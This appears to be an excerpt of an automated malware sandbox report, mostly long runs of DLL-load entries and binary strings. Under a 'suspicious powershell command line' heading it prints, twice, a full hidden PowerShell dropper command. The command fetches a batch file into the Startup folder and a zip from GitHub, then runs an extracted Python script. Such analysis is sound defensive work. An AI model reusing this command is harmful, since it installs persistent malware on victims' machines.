Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32transaction.pdb source: powershell.exe, 00000003.00000002.2092598910.00000245D7977000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2092598910.00000245D7982000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32inet.pdb source: powershell.exe, 00000003.00000002.2092598910.00000245D77AA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 2crypt.pdb!! source: powershell.exe, 00000003.00000002.2092598910.00000245D76B7000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 2crypt.pdb source: powershell.exe, 00000003.00000002.2092598910.00000245D76B7000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32print.pdb source: powershell.exe, 00000003.00000002.2092598910.00000245D787E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32cred.pdb source: powershell.exe, 00000003.00000002.2092598910.00000245D7692000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32job.pdb source: powershell.exe, 00000003.00000002.2092598910.00000245D77CF000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DAESNI_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASM source: libcrypto-1_1.dll.3.dr
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32clipboard.pdb source: powershell.exe, 00000003.00000002.2092598910.00000245D7659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2092598910.00000245D7627000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32ras.pdb source: powershell.exe, 00000003.00000002.2092598910.00000245D78E7000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32help.pdb source: powershell.exe, 00000003.00000002.2092598910.00000245D7724000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32pdh.pdb source: powershell.exe, 00000003.00000002.2092598910.00000245D7815000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32gui.pdb source: powershell.exe, 00000003.00000002.2092598910.00000245D7724000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\libcrypto-1_1.pdb source: libcrypto-1_1.dll.3.dr
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32net.pdb source: powershell.exe, 00000003.00000002.2092598910.00000245D7815000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: System.pdbs\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32 source: powershell.exe, 00000003.00000002.2091506404.00000245D4721000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32pipe.pdb source: powershell.exe, 00000003.00000002.2092598910.00000245D785D000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32net.pdb source: powershell.exe, 00000003.00000002.2092598910.00000245D7815000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32lz.pdb source: powershell.exe, 00000003.00000002.2092598910.00000245D77F2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2092598910.00000245D77FF000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32wnet.pdb source: powershell.exe, 00000003.00000002.2092598910.00000245D79B9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32profile.pdb source: powershell.exe, 00000003.00000002.2092598910.00000245D78D1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2092598910.00000245D78C4000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000003.00000002.2091506404.00000245D4721000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32evtlog.pdb source: powershell.exe, 00000003.00000002.2092598910.00000245D76FF000.00000004.00000800.00020000.00000000.sdmp, win32evtlog.pyd.3.dr
Source:	Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DAESNI_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASMOpenSSL 1.1.1t 7 Feb 2023built on: Thu Feb 9 15:27:40 2023 UTCplatform: VC-WIN64A-masmOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-1_1"not available source: libcrypto-1_1.dll.3.dr
Source:	Binary string: D:\a\1\b\bin\amd64\python.pdb source: python.exe, 00000006.00000000.1834520992.00007FF6106D2000.00000002.00000001.01000000.00000007.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32security.pdb source: powershell.exe, 00000003.00000002.2092598910.00000245D790A000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32process.pdb source: powershell.exe, 00000003.00000002.2092598910.00000245D789F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32api.pdb!! source: powershell.exe, 00000003.00000002.2092598910.00000245D7627000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\timer.pdb source: powershell.exe, 00000003.00000002.2092598910.00000245D7610000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2092598910.00000245D7606000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_asyncio.pdb source: _asyncio.pyd.3.dr
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32file.pdb source: powershell.exe, 00000003.00000002.2092598910.00000245D7724000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32api.pdb source: powershell.exe, 00000003.00000002.2092598910.00000245D7627000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32ts.pdb source: powershell.exe, 00000003.00000002.2092598910.00000245D7998000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: em.Core.pdbpdb source: powershell.exe, 00000003.00000002.2123608829.00000245EE697000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32console.pdb source: powershell.exe, 00000003.00000002.2092598910.00000245D766F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\_win32sysloader.pdb source: powershell.exe, 00000003.00000002.2092598910.00000245D79DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2092598910.00000245D7A2F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32trace.pdb source: powershell.exe, 00000003.00000002.2092598910.00000245D7952000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2092598910.00000245D7961000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32service.pdb source: powershell.exe, 00000003.00000002.2092598910.00000245D790A000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\_winxptheme.pdb source: powershell.exe, 00000003.00000002.2092598910.00000245D7A50000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2092598910.00000245D7A46000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: ion.pdbf source: powershell.exe, 00000003.00000002.2124852303.00000245EE971000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32event.pdb source: powershell.exe, 00000003.00000002.2092598910.00000245D76B7000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: ws\dll\System.Core.pdbk source: powershell.exe, 00000003.00000002.2123608829.00000245EE697000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/u/raw/main/ud.bat', 'C:\Users\user\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat'); (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/z/raw/main/T3.zip', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 1; C:\\Users\\Public\\Document\\python.exe C:\Users\Public\Document\Lib\prt.py; Remove-Item 'C:/Users/Public/Document.zip' -Force"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/u/raw/main/ud.bat', 'C:\Users\user\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat'); (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/z/raw/main/T3.zip', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 1; C:\\Users\\Public\\Document\\python.exe C:\Users\Public\Document\Lib\prt.py; Remove-Item 'C:/Users/Public/Document.zip' -Force"			Jump to behavior

Source: python310.dll.3.dr	Static PE information: section name: PyRuntim
Source: vcruntime140.dll.3.dr	Static PE information: section name: _RDATA
Source: libcrypto-1_1.dll.3.dr	Static PE information: section name: .00cfg
